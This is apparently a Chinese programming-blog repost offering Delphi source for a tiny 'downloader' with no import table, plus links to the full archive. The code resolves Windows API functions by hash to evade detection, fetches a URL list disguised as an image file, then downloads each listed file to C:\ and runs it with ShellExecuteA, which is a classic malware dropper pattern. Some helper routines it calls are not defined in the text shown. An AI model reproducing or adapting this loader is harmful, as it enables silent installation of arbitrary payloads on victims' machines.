1. 程式人生 > >[源碼]Delphi 5KB無輸入表下載者

[源碼]Delphi 5KB無輸入表下載者

opera exec edi rpc osb dll ade gui brush

[源碼]Delphi 5KB無輸入表下載者源碼

PROGRAM Fun;

type
  DWORD          = LongWord;
  THandle        = LongWord;
  BOOL           = LongBool;
  LPCSTR         = PAnsiChar;
  HINTERNET      = Pointer;
  FARPROC        = Pointer;
  PShortString   = ^ShortString;
  PLongint       = ^Longint;
  HRESULT        = type Longint;  { from WTYPES.H }

  PGUID = ^TGUID;
  TGUID = packed record
    D1: LongWord;
    D2: Word;
    D3: Word;
    D4: array[0..7] of Byte;
  end;

  PSecurityAttributes = ^TSecurityAttributes;
  _SECURITY_ATTRIBUTES = record
    nLength: DWORD;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: LongBool;
  end;

  TSecurityAttributes = _SECURITY_ATTRIBUTES;
  SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES;

  POverlapped = ^TOverlapped;
  _OVERLAPPED = record
    Internal: DWORD;
    InternalHigh: DWORD;
    Offset: DWORD;
    OffsetHigh: DWORD;
    hEvent: THandle;
  end;
  TOverlapped = _OVERLAPPED;
  OVERLAPPED = _OVERLAPPED;

CONST
  Dw_ShellExecuteA                  =    $EB7C1488;
  Dw_ShellExecuteW                  =    $1FA8A1D9;
  Dw_URLDownloadToFileA             =    $1E30F2EA;
  Dw_StrStrA                        =    $0A62DA9E;
  Dw_lstrlenA                       =    $E90E2A0C;
  Dw_lstrcpyA                       =    $AE03DF57;
  Dw_lstrcpynA                      =    $3464616E;
  Dw_StrDupA                        =    $F458BD0D;
  Dw_StrNCatA                       =    $8DB90EA6;
  Dw_CreateFileA                    =    $553B5C78;
  Dw_ReadFile                       =    $095C03D0;
  Dw_CloseHandle                    =    $B09315F4;

  S_OK                                = $00000000;
  ERROR                               = 0;
  INTERNET_OPEN_TYPE_PRECONFIG        = 0;
  HTTP_QUERY_RAW_HEADERS_CRLF         = 22;
  MAX_PATH = 260;
  GENERIC_READ             = DWORD($80000000);
  FILE_SHARE_READ                     = $00000001;
  OPEN_EXISTING = 3;
  FILE_ATTRIBUTE_NORMAL               = $00000080;

  
  DwUrl   = ‘http://www.baidu.com/img/bdlogo.gif|----------------------------------------------------------------------‘;


VAR
  LoadLibrary:function(lpLibFileName: PAnsiChar): longWord; stdcall;
  ShellExecuteA:function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
  URLDownloadToFileA:function(Caller:Pointer; URL:PChar; FileName:PChar; Reserved: DWORD; StatusCB:Pointer): HResult; stdcall;
  lstrlenA:function(lpString: PAnsiChar): Integer; stdcall;
  StrStrA:function(lpFirst, lpSrch: PAnsiChar): PAnsiChar; stdcall;
  lstrcpyA:function(lpString1, lpString2: PAnsiChar): PAnsiChar; stdcall;
  lstrcpynA:function(lpString1, lpString2: PAnsiChar; iMaxLength: Integer): PAnsiChar; stdcall;
  StrDupA:function(lpSrch: PAnsiChar): PAnsiChar; stdcall;
  StrNCatA:function(psz1: PAnsiChar; psz2: PAnsiChar; cchMax: Integer): PAnsiChar; stdcall;
  CreateFileA:function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: DWORD;lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: DWORD; hTemplateFile: THandle): THandle; stdcall;
  ReadFile:function(hFile: THandle; var Buffer; nNumberOfBytesToRead: DWORD; var lpNumberOfBytesRead: DWORD; lpOverlapped: POverlapped): BOOL; stdcall;
  CloseHandle:function(hObject: THandle): BOOL; stdcall;

function DwPos(lpFirst,lpSrch:PAnsiChar):Integer;
begin
  Result :=DWORD(StrStrA(lpFirst,lpSrch)) - DWORD(lpFirst);
end;

procedure DwDelete(lpszStr: PAnsiChar; index, count: Integer);
begin
  lstrcpyA(@lpszStr[index - 1], @lpszStr[index + count - 1]);
end;

function DwStrLCopy(Dest: PAnsiChar; const Source: PAnsiChar; MaxLen: Cardinal): PAnsiChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        MOV     ESI,EAX
        MOV     EDI,EDX
        MOV     EBX,ECX
        XOR     AL,AL
        TEST    ECX,ECX
        JZ      @@1
        REPNE   SCASB
        JNE     @@1
        INC     ECX
@@1:    SUB     EBX,ECX
        MOV     EDI,ESI
        MOV     ESI,EDX
        MOV     EDX,EDI
        MOV     ECX,EBX
        SHR     ECX,2
        REP     MOVSD
        MOV     ECX,EBX
        AND     ECX,3
        REP     MOVSB
        STOSB
        MOV     EAX,EDX
        POP     EBX
        POP     ESI
        POP     EDI
end;

function DwStrPCopy(Dest: PAnsiChar; const Source: PAnsiChar): PAnsiChar;
begin
  Result := DwStrLCopy(Dest, Source, lstrlenA(Source));
end;


var
  I:Integer;
  BinaryFile: LongWord;
  dwBytesRead: DWORD;
  szBuffer,NewDir,Temp:array [0..100] of AnsiChar;
  FBuf:Array[0..2048] of AnsiChar;
  PosTxt:PAnsiChar;

  kernel32,shlwapi:LongWord;
begin
   BuildCRC32Table;
   @LoadLibrary:=MyLoadLibraryA;
   kernel32  := LoadLibrary(‘kernel32.dll‘);
   shlwapi   := LoadLibrary(‘shlwapi.dll‘);
   @ShellExecuteA:=GetProcAddress(LoadLibrary(‘shell32.dll‘),Dw_ShellExecuteA);
   @URLDownloadToFileA:=GetProcAddress(LoadLibrary(‘UrlMon.dll‘),Dw_URLDownloadToFileA);
   @StrStrA:=GetProcAddress(shlwapi,Dw_StrStrA);
   @StrDupA:=GetProcAddress(shlwapi,Dw_StrDupA);
   @StrNCatA:=GetProcAddress(shlwapi,Dw_StrNCatA);
   @lstrlenA:=GetProcAddress(kernel32,Dw_lstrlenA);
   @lstrcpyA:=GetProcAddress(kernel32,Dw_lstrcpyA);
   @lstrcpynA:=GetProcAddress(kernel32,Dw_lstrcpynA);
   @CreateFileA:=GetProcAddress(kernel32,Dw_CreateFileA);
   @ReadFile:=GetProcAddress(kernel32,Dw_ReadFile);
   @CloseHandle:=GetProcAddress(kernel32,Dw_CloseHandle);

   lstrcpyA(szBuffer, DwUrl);
   DwDelete(szBuffer, DwPos(szBuffer,‘|‘)+1, 100);
   I:= DwPos(DwUrl,‘|‘)+1;
   lstrcpynA(szBuffer,DwUrl,I);
   if URLDownloadToFileA(nil,szBuffer,‘c:\k8down.jpg‘, 0, nil)= S_OK then
   begin
      BinaryFile := CreateFileA(‘c:\k8down.jpg‘, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      ReadFile(BinaryFile, FBuf , 2048, dwBytesRead, nil);
      if (dwBytesRead > 0) then
      begin
        closehandle(BinaryFile);
      end;
      while (DwPos(FBuf,‘//‘) <> 0) and (DwPos(FBuf,‘|‘) <> 0) do
      begin
        if (DwPos(FBuf,‘|‘) < 6) then Break;
        I:=DwPos(FBuf,‘|‘)+1;
        lstrcpynA(Temp,FBuf,I);
        DwDelete(FBuf,1, I + 2);
        DwStrPCopy(NewDir,‘C:\‘);
        PosTxt:=StrDupA(Temp);
        DwDelete(PosTxt, 1, 7);
        while (DwPos(PosTxt,‘/‘) > 0) do
        begin
          DwDelete(PosTxt, 1, DwPos(PosTxt,‘/‘)+1);
        end;
        StrNCatA(NewDir,PosTxt,-1);
        if URLDownloadToFileA(nil,Temp,NewDir, 0, nil)= S_OK then
        begin
         ShellExecuteA(0,‘open‘,NewDir,nil,nil,5);
        end;
      end;
   end;
end.

完整程序源碼如下:

https://github.com/k8gege/K8tools/raw/master/Delphi%205KB%E6%97%A0%E8%BE%93%E5%85%A5%E8%A1%A8%E4%B8%8B%E8%BD%BD%E8%80%85%E6%BA%90%E7%A0%81_0105%5BK8%5D.rar

https://download.csdn.net/download/qq396890445/6812539

[源碼]Delphi 5KB無輸入表下載者